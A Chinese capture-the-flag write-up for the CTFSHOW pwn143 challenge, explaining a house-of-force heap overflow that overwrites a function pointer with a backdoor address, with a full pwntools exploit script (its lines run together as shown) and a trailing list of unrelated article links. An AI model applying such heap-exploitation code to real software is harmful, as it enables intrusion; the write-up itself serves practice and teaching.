当前位置: 首页 > ops >正文

CTFSHOW pwn143 WP

checksec:

64位 IDA64打开 查看 整理main函数:


可以修改堆的长度 存在堆溢出

存在后门函数 且main函数的退出前会执行v4[1]位置的函数 该位置目前为goodbye_message函数

因为有着堆溢出且溢出长度没有限制 考虑house of force做法

先动态调试 找到该位置和top chunk的偏移

可以看到 第一个堆(变量v4)距离 top chunk 0x60

接下来将topchunk的size位修改为大数

最后申请一个大小为-(0x60 + 0x8)的堆(v4[0]往后挪:v4[1])

exp:

from pwn import *#p = process('./pwn143')
p = remote("pwn.challenge.ctf.show",  28288)
elf = ELF('./pwn143')
context.log_level = 'debug'def add(length, name):p.sendlineafter("Your choice:", b'2')p.sendlineafter(" length:", str(length))p.sendlineafter(" name:", name)def delete(index):p.sendlineafter(b'Your choice:' , b'4')p.sendlineafter(b'index:' , str(index))def edit(index, length, name):p.sendlineafter(b'Your choice:' , b'3')p.sendlineafter(b'index:' , str(index))p.sendlineafter(b'length of name:' , str(length))p.sendlineafter("name:", name)def show(index):p.sendlineafter(b'Your choice:' , b'1')flag_addr = 0x400D7Fpayload = b'a' * 0x30 + b'a' * 8 + p64(0xffffffffffffffff)
add(0x30, b'aaaa')edit(0, 0x41, payload)
size = 0xFFFFFFFFFFFFFF80
add(-(0x60 + 0x8), b'aaaa')
add(0x10, p64(flag_addr) * 2)
p.sendlineafter(b'Your choice:' , b'5')
p.interactive()

http://www.xdnf.cn/news/13168.html

相关文章:

  • linux 更新ollama服务
  • 亚马逊云科技 Amazon Pinpoint 解决方案:构建智能全渠道互动平台,重塑用户增长体验
  • 数据库管理与高可用-PostgreSQL初体验
  • [特殊字符] 智能合约中的数据是如何在区块链中保持一致的?
  • 安全生产管理是什么?安全生产管理系统都有哪些核心功能?
  • Android 应用开发概述与环境搭建指南
  • DBSyncer:一款开源的数据同步工具
  • Windows上SSH连接Ubuntu失败
  • 记录下three.js学习过程中不理解问题③
  • pnpm安装和使用
  • Hyperlane 框架详解与使用指南
  • 如何使用java把文件转成十六进制字符串
  • DevSecOps实践:CI/CD流水线集成SAST工具详解
  • 8.1.排序的基本概念
  • 麒麟系统集成开发环境Kylin-IDE初体验,菜鸟小白入门教程
  • 基于vue+js的微信小程序高血压健康管理系统的设计与实现(源码+论文+调试+安装+售后)
  • 在微信小程序中使用骨架屏
  • 微信小程序之bind和catch
  • USB over Network技术重塑中国电气装备集团U盾智能化管控
  • Vue大文件上传:让你的文件秒传、断点续传、分片上传---需要后端支持--案例后端使用node
  • ArcGIS Pro 3.4 二次开发 - 流图层
  • 如何对目标检测算法RT-DETR进行创新和改进:突破瓶颈,提升性能!
  • docker compose v2版本创建和运行容器
  • HTML 列表、表格、表单 综合案例
  • ES6从入门到精通:前言
  • Linux之nginx部署网站
  • MongoDB 数据库应用
  • Win11无法安装Unity5.5.0f3怎么解决?虚拟机中如何配置?Win7怎么安装最新版VMware Tools?来这里教你完美解决!
  • windows上tensorrt国内镜像下载和安装教程
  • 金融科技的数字底座